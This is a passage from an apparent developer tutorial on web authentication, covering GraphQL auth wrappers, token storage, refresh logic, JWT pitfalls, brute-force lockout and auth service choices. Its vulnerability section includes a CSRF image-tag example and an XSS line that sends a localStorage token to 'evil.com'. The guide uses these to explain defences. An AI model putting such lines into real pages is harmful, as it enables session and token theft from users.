const token = req.headers.authorization?.replace('Bearer ', '');
let user = null;
if (token) {
try {
const payload = jwt.verify(token, process.env.JWT_SECRET);
user = await db.users.findById(payload.sub);
} catch {}
}
return { user };
}
// Auth directive or wrapper for resolvers
function authenticated(resolver) {
return (parent, args, context, info) => {
if (!context.user) {
throw new GraphQLError('Not authenticated', {
extensions: { code: 'UNAUTHENTICATED' }
});
}
return resolver(parent, args, context, info);
};
}
function authorized(role, resolver) {
return authenticated((parent, args, context, info) => {
if (context.user.role !== role && context.user.role !== 'admin') {
throw new GraphQLError('Not authorized', {
extensions: { code: 'FORBIDDEN' }
});
}
return resolver(parent, args, context, info);
});
}
// Resolvers
const resolvers = {
Query: {
me: authenticated((_, __, { user }) => user),
users: authorized('admin', () => db.users.findAll()),
publicPosts: (_, __) => db.posts.findPublic(), // No auth needed
},
Mutation: {
deleteUser: authorized('admin', (_, { id }) => db.users.delete(id)),
updateProfile: authenticated((_, { input }, { user }) => {
return db.users.update(user.id, input);
}),
}
};
Token Storage: Where to Put Them
This is a critical security decision. Here's the full picture.
| Storage | XSS Vulnerable? | CSRF Vulnerable? | Persists Across Tabs? | Survives Refresh? |
|---|---|---|---|---|
| localStorage | YES | No | Yes | Yes |
| sessionStorage | YES | No | No | Yes (same tab) |
| httpOnly Cookie | No | YES (without SameSite) | Yes | Yes |
| In-memory (JS variable) | Only during XSS | No | No | No |
| httpOnly Cookie + SameSite | No | No | Yes | Yes |
The Recommended Approach
Access Token: In memory (JS variable) or short-lived httpOnly cookie
Refresh Token: httpOnly, Secure, SameSite=Strict cookie
Why?
- Access token in memory: Can't be stolen via XSS (no persistent storage)
- Refresh token in httpOnly cookie: Can't be accessed by JavaScript at all
- SameSite=Strict: Prevents CSRF
- Short access token lifetime (15min): Limits damage if somehow leaked
// Server: Set refresh token as httpOnly cookie
res.cookie('refreshToken', refreshToken, {
httpOnly: true, // JavaScript can't access it
secure: true, // HTTPS only
sameSite: 'strict', // Not sent on cross-origin requests
maxAge: 7 * 24 * 60 * 60 * 1000, // 7 days
path: '/api/auth' // Only sent to auth endpoints
});
// Send access token in response body (stored in memory by client)
res.json({ accessToken });
// Client: Store access token in memory
let accessToken = null;
async function login(email, password) {
const res = await fetch('/api/auth/login', {
method: 'POST',
credentials: 'include', // Send cookies
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify({ email, password })
});
const data = await res.json();
accessToken = data.accessToken; // In memory only
}
async function fetchWithAuth(url, options = {}) {
let res = await fetch(url, {
...options,
credentials: 'include',
headers: {
...options.headers,
'Authorization': `Bearer ${accessToken}`
}
});
// If 401, try refreshing
if (res.status === 401) {
const refreshRes = await fetch('/api/auth/refresh', {
method: 'POST',
credentials: 'include' // Sends httpOnly refresh cookie
});
if (refreshRes.ok) {
const data = await refreshRes.json();
accessToken = data.accessToken;
// Retry original request
res = await fetch(url, {
...options,
credentials: 'include',
headers: {
...options.headers,
'Authorization': `Bearer ${accessToken}`
}
});
} else {
// Refresh failed — redirect to login
window.location.href = '/login';
}
}
return res;
}
Common Auth Vulnerabilities
CSRF (Cross-Site Request Forgery)
An attacker tricks a user's browser into making a request to your site (using the user's cookies).
Attacker's site has:
<img src="https://yourbank.com/api/transfer?to=attacker&amount=10000" />
User visits attacker's site while logged into yourbank.com.
Browser sends the GET request WITH the user's session cookie.
Money transferred.
Prevention:
-
SameSite=StrictorSameSite=Laxon cookies (most effective) - CSRF tokens (traditional approach)
- Check
OriginandRefererheaders
XSS (Cross-Site Scripting)
Attacker injects JavaScript into your page that steals tokens from localStorage or makes authenticated requests.
// If an attacker injects this into your page:
fetch('https://evil.com/steal?token=' + localStorage.getItem('token'));
// Your token is gone.
// httpOnly cookies are immune to this — JavaScript simply cannot access them
document.cookie; // httpOnly cookies don't appear here
Prevention:
- Never store sensitive tokens in localStorage
- Use httpOnly cookies
- Sanitize all user input
- Use Content Security Policy (CSP) headers
Session Fixation
Attacker sets a known session ID before the user logs in, then uses that same session after login.
Prevention: Always regenerate the session ID after successful login.
app.post('/login', async (req, res) => {
// ... verify credentials ...
// Regenerate session to prevent fixation
req.session.regenerate((err) => {
req.session.userId = user.id;
res.json({ success: true });
});
});
JWT Pitfalls
| Pitfall | Description | Fix |
|---|---|---|
alg: "none" |
Some libraries accept unsigned tokens | Always specify allowed algorithms |
| Storing secrets in payload | JWT payload is just base64, not encrypted | Never put sensitive data in JWT payload |
| No expiration | Token valid forever | Always set exp claim |
| Long-lived tokens | More time for stolen token to be used | Short access tokens + refresh rotation |
| Client-side verification | Trusting the client to check expiration | Always verify server-side |
// ALWAYS specify the algorithm — prevents "none" attack
jwt.verify(token, secret, { algorithms: ['HS256'] });
// NEVER do this:
jwt.verify(token, secret); // Accepts whatever algorithm the token claims
Brute Force Protection
// Combine rate limiting with account lockout
const loginAttempts = new Map(); // Use Redis in production
app.post('/login', async (req, res) => {
const { email, password } = req.body;
const key = email.toLowerCase();
// Check lockout
const attempts = loginAttempts.get(key) || { count: 0, lockedUntil: null };
if (attempts.lockedUntil && attempts.lockedUntil > Date.now()) {
const waitSeconds = Math.ceil((attempts.lockedUntil - Date.now()) / 1000);
return res.status(429).json({
error: `Account locked. Try again in ${waitSeconds} seconds.`
});
}
const user = await db.users.findByEmail(email);
const isValid = user && await bcrypt.compare(password, user.passwordHash);
if (!isValid) {
attempts.count++;
// Exponential backoff lockout
if (attempts.count >= 5) {
const lockoutMinutes = Math.min(2 ** (attempts.count - 5), 60);
attempts.lockedUntil = Date.now() + lockoutMinutes * 60 * 1000;
}
loginAttempts.set(key, attempts);
// Constant-time response (don't reveal if email exists)
return res.status(401).json({ error: 'Invalid email or password' });
}
// Reset attempts on success
loginAttempts.delete(key);
// ... create session/token ...
});
Auth Libraries and Services Comparison
Libraries (Self-Hosted)
| Library | Framework | Sessions | JWT | OAuth | Passkeys | Notes |
|---|---|---|---|---|---|---|
| Auth.js (NextAuth) | Next.js, SvelteKit | Yes | Yes | Yes (built-in) | Experimental | Most popular for Next.js |
| Lucia | Any (framework-agnostic) | Yes | No | Manual | Manual | Lightweight, great DX |
| Passport.js | Express | Yes | Plugin | Yes (strategies) | Plugin | Old but massive ecosystem |
| Iron Session | Next.js | Yes (encrypted cookies) | No | Manual | Manual | Minimal, encrypted sessions |
| Better Auth | Any | Yes | Yes | Yes | Yes | Newer, feature-rich |
| Arctic | Any | No | No | Yes | No | Just OAuth — does it well |
Services (Managed)
| Service | Free Tier | OAuth | Passkeys | MFA | Pricing Model |
|---|---|---|---|---|---|
| Clerk | 10k MAU | Yes | Yes | Yes | Per MAU |
| Auth0 | 7.5k MAU | Yes | Yes | Yes | Per MAU |
| Supabase Auth | 50k MAU | Yes | No | Yes | Included with Supabase |
| Firebase Auth | Unlimited (mostly) | Yes | No | Yes (phone) | Per verification |
| Kinde | 10.5k MAU | Yes | Yes | Yes | Per MAU |
| WorkOS | 1M MAU | Yes | No | Yes | Per MAU (enterprise SSO is extra) |
Decision Guide
Building a Next.js app?
├── Want managed? --> Clerk or Auth0
└── Want self-hosted?
├── Need OAuth? --> Auth.js (NextAuth)
└── Just sessions? --> Iron Session or Lucia
Building an Express API?
├── Need many OAuth providers? --> Passport.js
└── Minimal auth? --> Roll your own with bcrypt + express-session
Need enterprise SSO (SAML/OIDC)?
└── WorkOS or Auth0
Budget is zero?
└── Supabase Auth (generous free tier) or self-hosted Lucia
Real-World Auth Architecture for a SaaS App
Here's what a production auth system looks like for a typical B2B SaaS application:
┌─────────────────────────────────────────────────────────────────┐
│ Client (Browser) │
│ │
│ ┌──────────┐ ┌──────────────┐ ┌────────────────────────┐ │
│ │ Login │ │ OAuth Flow │ │ Passkey Registration │ │
│ │ Form │ │ (Google, │ │ & Authentication │ │
│ │ │ │ GitHub) │ │ │ │
│ └────┬─────┘ └──────┬───────┘ └───────────┬────────────┘ │
│ │ │ │ │
│ └───────────────┴───────────────────────┘ │
│ │ │
│ Access token in memory │
│ Refresh token in httpOnly cookie │
└───────────────────────────┼─────────────────────────────────────┘
│
▼
┌─────────────────────────────────────────────────────────────────┐
│ API Gateway / Edge │
│ │
│ - Rate limiting (stricter on /auth endpoints) │
│ - CORS validation │
│ - Token verification (fast-reject invalid tokens) │
└───────────────────────────┼─────────────────────────────────────┘
│
▼
┌─────────────────────────────────────────────────────────────────┐
│ Auth Service │
│ │
│ ┌─────────────────┐ ┌───────────────────┐ │
│ │ Authentication │ │ Authorization │ │
│ │ │ │ │ │
│ │ - Login/Signup │ │ - RBAC policies │ │
│ │ - OAuth flows │ │ - Org membership │ │
│ │ - Passkeys │ │ - Resource perms │ │
│ │ - MFA verify │ │ - API key scopes │ │
│ │ - Token issue │ │ │ │
│ └────────┬────────┘ └────────┬──────────┘ │
│ │ │ │
│ ┌────────┴────────────────────┴──────────┐ │
│ │ Data Stores │ │
│ │ │ │
│ │ PostgreSQL: users, orgs, roles, │ │
│ │ permissions, API keys, passkeys │ │
│ │ │ │
│ │ Redis: sessions, refresh tokens, │ │
│ │ rate limit counters, token blocklist │ │
│ └────────────────────────────────────────┘ │
└─────────────────────────────────────────────────────────────────┘
│
Verified user context
passed via headers or
shared JWT to downstream
│
▼
┌─────────────────────────────────────────────────────────────────┐
│ Application Services │
│ │
│ ┌──────────┐ ┌──────────┐ ┌──────────┐ ┌──────────┐ │
│ │ Users │ │ Billing │ │ Projects │ │ Settings │ │
│ │ Service │ │ Service │ │ Service │ │ Service │ │
│ └──────────┘ └──────────┘ └──────────┘ └──────────┘ │
│ │
│ Each service trusts the auth context from the Auth Service. │
│ No direct DB access to auth tables. │
└─────────────────────────────────────────────────────────────────┘
Key design decisions in this architecture:
- Auth is a separate service — isolates security-critical code
- Gateway handles fast-reject — invalid tokens are caught before hitting app logic
- Redis for sessions/tokens — fast lookups, easy expiration, supports revocation
- PostgreSQL for persistent auth data — users, roles, credentials need durability
- Downstream services trust auth context — they don't re-verify tokens, they trust headers from the gateway
Decision Framework
Not sure which auth approach to take? Walk through this:
1. What type of application?
├── Server-rendered web app --> Session-based auth (cookies)
├── SPA + API --> JWT (access) + httpOnly cookie (refresh)
├── Mobile app --> JWT with secure storage (Keychain/Keystore)
├── API for developers --> API keys
└── Service-to-service --> mTLS or signed JWTs
2. Do you need social login?
├── Yes --> OAuth 2.0 (use a library: Auth.js, Passport)
└── No --> Email/password + optional passkeys
3. How critical is security?
├── Financial/healthcare --> MFA required, passkeys, short sessions
├── Business SaaS --> MFA optional, session-based, RBAC
└── Consumer app --> Email/password is fine, consider magic links
4. Do you need instant revocation?
├── Yes --> Sessions (or JWTs with a blocklist in Redis)
└── Not critical --> JWTs with short expiry + refresh rotation
5. Authorization model?
├── Simple roles (admin/user/viewer) --> RBAC
├── Per-resource sharing (like Google Docs) --> ReBAC
├── Complex rules with context --> ABAC or policy engine
└── Just ownership checks --> Simple middleware checks
6. Build or buy?
├── Small team, need to move fast --> Managed service (Clerk, Auth0)
├── Need full control --> Self-hosted with a library (Lucia, Auth.js)
└── Enterprise requirements --> WorkOS or Auth0 Enterprise
Wrapping Up
Auth is one of those things that seems simple on the surface but has surprising depth once you start considering all the edge cases, security implications, and architectural decisions. Here are the key takeaways:
- Always hash passwords with bcrypt or argon2. There's no excuse for anything less.
- Sessions are simpler and more secure by default than JWTs for most web apps. Use JWTs when you genuinely need stateless auth.
- Store tokens in httpOnly cookies, not localStorage. If you need the access token in JavaScript, keep it in memory.
- RBAC covers 90% of use cases. Don't overcomplicate authorization unless your product demands it.
- Rate limit your auth endpoints aggressively. Login, register, and password reset endpoints are the #1 brute force target.
- Passkeys are the future. Start offering them as an option even if you keep passwords as a fallback.
- Use a library or service unless you have a very good reason to roll your own. Auth is not where you want to be creative.
The most secure auth system is one that you've thought through carefully and kept simple enough to maintain. Complexity is the enemy of security.
If this guide was useful and you want to see more deep dives on backend engineering and security, connect with me on LinkedIn. I share practical insights on system design, web development, and building things that scale. Let's connect!
Top comments (0)